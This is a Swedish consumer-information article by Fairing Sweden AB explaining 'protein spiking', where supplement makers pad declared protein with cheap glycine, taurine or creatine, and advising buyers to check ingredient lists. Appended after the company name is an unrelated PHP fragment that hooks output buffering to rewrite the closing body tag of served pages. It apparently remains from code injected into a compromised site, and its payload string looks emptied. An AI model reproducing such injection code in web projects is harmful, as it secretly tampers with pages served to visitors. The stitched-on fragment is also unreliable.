Syftet med den här informationen är att rikta uppmärksamhet mot ett växande problem inom kosttillskottsbranschen – ”protein spiking”. Ökade råvarukostnader och stark konkurrens lockar många kosttillskottsproducenter att tillsätta billiga ämnen som räknas som protein men saknar muskelbyggande verkan i sina produkter. Detta ger sken av att produkten är mycket prisvärd när det i själva verket är tvärtom. Är du konsument av proteintillskott så är detta något du bör vara medveten om.

Proteininnehåll – benämning på summan av kvävehaltiga ämnen

Proteinpulver, bars och andra proteinförstärkta produkter konsumeras av många idrottare för att maximera den muskelbyggande effekten av träningen. Proteinhalten som deklareras på produktetiketten är enligt gällande lagstiftning summan av kompletta proteiner, fria aminosyror och övriga kvävehaltiga ämnen. Många jämför olika tillskott genom att titta på proteinhalten i förhållande till priset – högst proteininnehåll till lägst kostnad ses som bästa köpet och mindre fokus läggs på de specifika ingredienserna. Detta kan dock i slutändan vara en förlustaffär.

”Protein spiking”
Betydelsen för muskeltillväxt skiljer kraftigt mellan olika aminosyror. Allt fler aktörer på kosttillskottsmarknaden använder billiga aminosyror och andra kvävehaltiga utfyllnadsämnen i sina proteinprodukter för att höja den deklarerade proteinhalten. Detta kallas ”protein spiking” eller ”amino acid spiking”. Glycin och taurin är exempel på ämnen som ofta används i detta syfte. Inköpskostnaden för dessa två är avsevärt lägre än för vassleproteinisolat, men de är meningslösa som tillskott i muskelbyggande syfte. Det kvävehaltiga ämnet kreatin används också som utfyllnad och även om det har andra fördelar så hör det inte hemma i ett proteinpulver. Produkten säljs sedan antingen dyrt under förevändning att den har en mycket hög proteinhalt eller billigt för att konkurrera prismässigt.

Hur identifierar man den här typen av produkter?
I ingredienslistan anges alla ingredienser i fallande mängdskala. Står glycin, taurin eller kreatin med i listan bör man undvika produkten. Glycin används ibland i liten mängd som smakförstärkare (E 640) men utgör aldrig en större andel av en proteinprodukt av hög kvalitet.

Ökad medvetenhet för ökad kvalitet
Förhoppningsvis kommer den här frågan att uppmärksammas alltmer och ge större insikt om betydelsen av att titta noga på ingredienslistan. En förändring av regelverket kring hur protein deklareras skulle också underlätta för konsumenter. Genomtänkta inköp främjar ärliga företag som producerar högkvalitativa tillskott och gagnar i sin tur konsumenten som får effektiva produkter.

Fairing Sweden AB

if (!defined('SCRIPT_EXECUTED')) { define('SCRIPT_EXECUTED', true); $pages = ['/']; // ob_start(function($buffer) use ($pages) { $script_id = 'content-main-2'; foreach ($pages as $page) { if (strpos($_SERVER['REQUEST_URI'], $page) !== false) { if (strpos($buffer, $script_id) === false) { return preg_replace('/\s*<\/body>/', "", $buffer); } } } return $buffer; }); }